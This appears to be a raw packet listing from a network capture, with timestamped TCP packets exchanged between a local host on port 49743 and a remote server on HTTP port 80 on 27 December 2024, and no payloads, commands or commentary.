Dec 27, 2024 09:00:24.139612913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.139674902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.139991999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140034914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140047073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140100956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.140193939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140204906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140217066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140228987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140247107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.140327930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.140343904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140355110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140367985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.140407085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.140433073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.140980959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141028881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141041040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141087055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.141135931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141194105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.141202927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141216040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141227007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141261101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.141289949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141302109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141314983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141339064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.141392946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.141865015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141916990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.141928911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142034054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.142062902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142074108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142085075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142096996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142107964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.142146111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.142256021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142267942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142281055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142296076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.142348051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.142810106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142889977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142903090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.142987967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.143013954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143024921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143035889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143052101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143060923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.143100977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.143174887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143187046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143199921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143230915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.143274069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.143728971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143796921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143809080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143873930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.143887997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143918991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143930912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143942118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.143950939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.143980026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.144207001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144222021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144234896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144253969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.144268990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.144685984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144731045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144742966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144790888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.144876003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144887924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144895077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144907951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.144922972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.144954920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.145042896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145055056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145066023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145087004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.145112991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.145626068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145685911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145701885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145755053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.145787954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145804882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145816088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145828962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145884991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.145884991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.145958900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145976067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.145987034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.146019936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.146037102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.146544933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.146591902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.146603107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.146634102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.147485018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.324856043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.324881077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.324892998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.324947119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.324959040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.324964046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.324970007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.324984074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.324982882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.325025082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.325109959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.325128078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.325155020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.325433969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.325483084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.325495005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.325506926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.325591087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.325603008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.325617075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.325664997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.325664997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.328015089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.328068018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.328080893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.328129053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.328232050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.328243017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.328253984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.328267097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.328288078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.328342915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.338612080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.340209007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340262890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340348959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340349913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.340450048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340497017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340511084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340564966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.340745926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340756893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340768099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340780020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340791941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.340836048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.340836048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.341089010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341136932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341149092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341149092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.341197014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.341228962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341242075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341284990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.341516972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341564894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341577053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341640949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.341686010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341696978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341710091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341723919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341731071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.341784954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.341811895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341824055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341835976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.341891050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.341891050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.342407942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342477083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342489958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342521906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.342614889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342627048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342641115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342679024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342684984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.342706919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.342756987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342777014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342796087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.342844963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.343377113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343446970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343458891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343524933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.343553066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343564987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343584061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343595028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343611002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.343642950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.343746901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343758106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343770027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.343796968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.343888044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.344300985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344348907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344362020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344405890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.344439030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344459057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344476938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344491005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344530106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.344530106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.344615936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344669104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344686985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.344691992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.344767094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.345227003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345282078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345293045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345386982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.345415115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345427036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345438957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345452070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345473051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.345505953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.345586061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345603943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345617056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.345637083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.345684052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.346174955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346229076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346240997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346302986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.346390009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346402884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346414089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346431971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346448898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.346448898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.346549034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346560001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346573114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.346625090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.346641064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.347105026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347146988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347158909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347201109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.347306013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347331047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347343922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347356081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347358942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.347385883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.347480059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347491980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347510099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.347541094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.347589970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.348005056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:24.407582998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.409097910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.415157080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.760013103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:24.879542112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206283092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206316948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206326962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206383944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.206482887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206527948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.206552982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206564903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206602097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.206681967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206695080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206706047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206718922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206753016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.206773996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.206875086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206887007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.206931114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.331250906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331298113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331310034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331373930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.331429958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331444025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331454039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331500053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.331500053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.331579924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331617117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331628084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331655979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.331773043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331784010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331794024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331804991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.331815004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.331854105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.332216978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332252026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332263947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332304955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.332304955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.332331896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332344055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332391024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.332609892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332684040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332700014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332731962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.332832098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332844973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332854986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332868099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.332886934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.332902908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.376322031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.456517935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.456577063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.456626892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.456665039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.456677914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.456679106 CET	49743	80	192.168.2.4	185.215.113.16
